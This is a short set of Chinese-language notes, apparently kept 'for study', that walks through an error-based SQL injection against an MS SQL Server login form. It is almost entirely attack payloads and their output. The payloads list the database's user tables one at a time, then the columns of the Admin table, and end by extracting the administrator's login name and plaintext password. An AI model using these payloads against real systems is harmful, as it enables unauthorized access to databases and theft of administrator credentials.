登录框注入笔记，留着学习

1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U')) and '1'='1

首先：select top 1 name form sysobjects where xtype='U'用来查 数据库中的用户表

说明存在sysdiagrams 这个表

1' and 1=(select top 1 name from sysobjects where xtype='U') and '1' ='1

 

sysdiagrams

 

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams')) and '1' ='1

表：Commonness

 

继续：1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness')) and '1' ='1

表：Bargain

go on ：1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain')) and '1' ='1

表：ValidationReport

继续：1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport')) and '1' ='1

 

表：Examine

继续：1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine')) and '1' ='1

表：OpinionBook

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook')) and '1' ='1

表：ProjectInformation

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation')) and '1' ='1

表：Company

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company')) and '1' ='1

表：yinfu

 

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu')) and '1' ='1

 

表：NewsType

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu','NewsType')) and '1' ='1

表：AdminType

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu','NewsType','AdminType')) and '1' ='1

表：Admin

1' and 1=convert(int,(select top 1 col_name(object_id ('Admin'),1) from Admin)) and '1'='1

1'and 1= (select top 1 col_name(object_id('admin'),1) from Admin) and '1'='1

列：ID www.2cto.com

1'and 1= (select top 1 col_name(object_id('admin'),2) from Admin) and '1'='1

列：LoginName

1'and 1= (select top 1 col_name(object_id('admin'),3) from Admin) and '1'='1

列：Passward

1' and 1=convert(int,(select top 1 LoginName from Admin)) and '1'='1

admin

1'and 1=(select top 1 Passward from Admin) and '1'='1

admin123